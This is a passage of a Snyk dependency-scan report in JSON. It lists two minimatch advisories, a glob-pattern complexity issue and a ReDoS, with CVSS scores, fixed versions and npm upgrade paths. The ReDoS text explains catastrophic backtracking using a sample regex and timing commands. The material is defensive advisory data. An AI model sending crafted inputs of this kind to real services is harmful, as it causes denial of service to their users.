"disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application 